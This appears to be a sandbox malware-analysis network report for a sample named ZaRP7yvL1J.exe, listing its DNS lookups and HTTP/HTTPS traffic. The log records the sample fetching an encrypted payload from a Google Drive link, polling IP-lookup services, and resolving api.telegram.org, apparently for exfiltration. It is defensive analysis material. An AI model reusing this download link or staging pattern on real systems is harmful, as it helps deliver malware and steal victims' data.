Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 07:31:45.357455969 CET	192.168.2.4	1.1.1.1	0xec00	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:31:46.481794119 CET	192.168.2.4	1.1.1.1	0xeaa	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:31:50.704898119 CET	192.168.2.4	1.1.1.1	0x2c9c	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:31:53.389915943 CET	192.168.2.4	1.1.1.1	0xa71b	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:32:02.375968933 CET	192.168.2.4	1.1.1.1	0xead6	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 07:31:45.364461899 CET	1.1.1.1	192.168.2.4	0xec00	No error (0)	drive.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:31:46.488658905 CET	1.1.1.1	192.168.2.4	0xeaa	No error (0)	drive.usercontent.google.com		142.250.185.129	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:31:50.712007999 CET	1.1.1.1	192.168.2.4	0x2c9c	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:31:50.712007999 CET	1.1.1.1	192.168.2.4	0x2c9c	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:31:50.712007999 CET	1.1.1.1	192.168.2.4	0x2c9c	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:31:50.712007999 CET	1.1.1.1	192.168.2.4	0x2c9c	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:31:50.712007999 CET	1.1.1.1	192.168.2.4	0x2c9c	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:31:50.712007999 CET	1.1.1.1	192.168.2.4	0x2c9c	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:31:53.397526979 CET	1.1.1.1	192.168.2.4	0xa71b	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:31:53.397526979 CET	1.1.1.1	192.168.2.4	0xa71b	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:31:53.397526979 CET	1.1.1.1	192.168.2.4	0xa71b	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:31:53.397526979 CET	1.1.1.1	192.168.2.4	0xa71b	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:31:53.397526979 CET	1.1.1.1	192.168.2.4	0xa71b	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:31:53.397526979 CET	1.1.1.1	192.168.2.4	0xa71b	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:31:53.397526979 CET	1.1.1.1	192.168.2.4	0xa71b	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:32:02.383502007 CET	1.1.1.1	192.168.2.4	0xead6	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49892	193.122.6.168	80	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:31:50.721364021 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 07:31:52.440203905 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:31:52 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 11, 2025 07:31:52.449141026 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 11, 2025 07:31:52.636622906 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:31:52 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 11, 2025 07:32:02.021337986 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 11, 2025 07:32:02.256493092 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:32:02 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49978	193.122.6.168	80	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:32:03.716248989 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 11, 2025 07:32:04.342973948 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:32:04 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49991	193.122.6.168	80	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:32:05.447618008 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 11, 2025 07:32:06.082190990 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:32:05 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	50003	193.122.6.168	80	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:32:07.016571045 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 07:32:07.642252922 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:32:07 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	50012	193.122.6.168	80	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:32:08.535211086 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 07:32:10.405659914 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:32:10 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	50017	193.122.6.168	80	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:32:11.394243956 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 07:32:12.024065971 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:32:11 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	50019	193.122.6.168	80	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:32:12.930804014 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 07:32:15.351646900 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:32:15 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	50021	193.122.6.168	80	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:32:16.362076998 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 07:32:17.080642939 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:32:16 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	50023	193.122.6.168	80	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:32:17.927453995 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 07:32:20.382468939 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:32:20 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	50025	193.122.6.168	80	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:32:21.226994991 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 07:32:23.261779070 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:32:23 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	50027	193.122.6.168	80	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:32:24.204605103 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 07:32:26.059494972 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:32:25 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	50029	193.122.6.168	80	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:32:27.029798031 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 07:32:28.210283995 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:32:28 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	50031	193.122.6.168	80	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:32:29.179406881 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 07:32:30.668837070 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:32:30 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	50033	193.122.6.168	80

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:32:33.685843945 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49855	142.250.186.142	443	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:31:46 UTC	216	OUT	GET /uc?export=download&id=1KcZPYu5jgn5AxI-SG2_U0KobG5DZYAUm HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2025-01-11 06:31:46 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 06:31:46 GMT Location: https://drive.usercontent.google.com/download?id=1KcZPYu5jgn5AxI-SG2_U0KobG5DZYAUm&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-9g6Q6oNj95NmM-vrC8Yq1A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49866	142.250.185.129	443	3052	C:\Users\user\Desktop\ZaRP7yvL1J.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:31:47 UTC	258	OUT	GET /download?id=1KcZPYu5jgn5AxI-SG2_U0KobG5DZYAUm&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-11 06:31:50 UTC	4941	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFIdbgTYf7RoOrWr6Kp6r4xzMYdQjed9eYuojrOekMHymbmTgrcgY-6c2NmSxiNUHrQ4xK9D Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="EBnQHCPDyfoRKDJBgS140.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 94272 Last-Modified: Mon, 09 Dec 2024 07:09:34 GMT Date: Sat, 11 Jan 2025 06:31:49 GMT Expires: Sat, 11 Jan 2025 06:31:49 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=NCpH7Q== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-11 06:31:50 UTC	4941	IN	Data Raw: 23 8e 9e 5f ab 3f d3 e9 1c bd bb ab e2 46 2a dd 10 50 6e 26 a9 09 c4 04 37 6d a0 38 d8 b9 8d e4 29 e5 f6 68 9b 1d 1b 12 8b b9 45 cf 87 d1 83 c2 29 c5 ae 36 dd c4 a0 f0 8f 25 22 9e a0 99 93 5e 65 9e c1 7b a9 34 13 2d 50 93 1d a4 92 6c 42 e1 22 3d bc 96 43 63 89 7a 95 de b3 24 a2 22 d9 53 44 82 15 74 5d 14 16 dd 71 27 24 7a fc d4 ee 80 f0 03 8f 79 9a 20 91 5f 4e 4f e9 c3 c5 fe 4e d9 9b d2 fb d2 06 be e7 e8 13 a6 3d 19 06 e5 5d 77 8d 0e dc 9d 10 24 b2 ab bb fa ed f9 e9 44 33 07 a7 cc 08 95 4e b6 d4 e1 14 e3 90 14 15 05 91 05 b5 dd 64 cc 9e b9 48 2f 77 11 55 c3 d7 df 6a 8f 29 22 2e cb 45 46 b4 b0 b1 8a 3a 90 66 f7 7d 85 b7 b4 ba c7 0c 33 f8 bc 9c 20 66 a9 82 19 4f ac 6b 1b cb c2 df 40 fb cd f3 a8 30 99 1e 1e dc 63 38 22 65 50 0f cb a3 cd 50 d2 72 d7 e1 c6 7a Data Ascii: #_?F*Pn&7m8)hE)6%"^e{4-PlB"=Ccz$"SDt]q'$zy _NON=]w$D3NdH/wUj)".EF:f}3 fOk@0c8"ePPrz
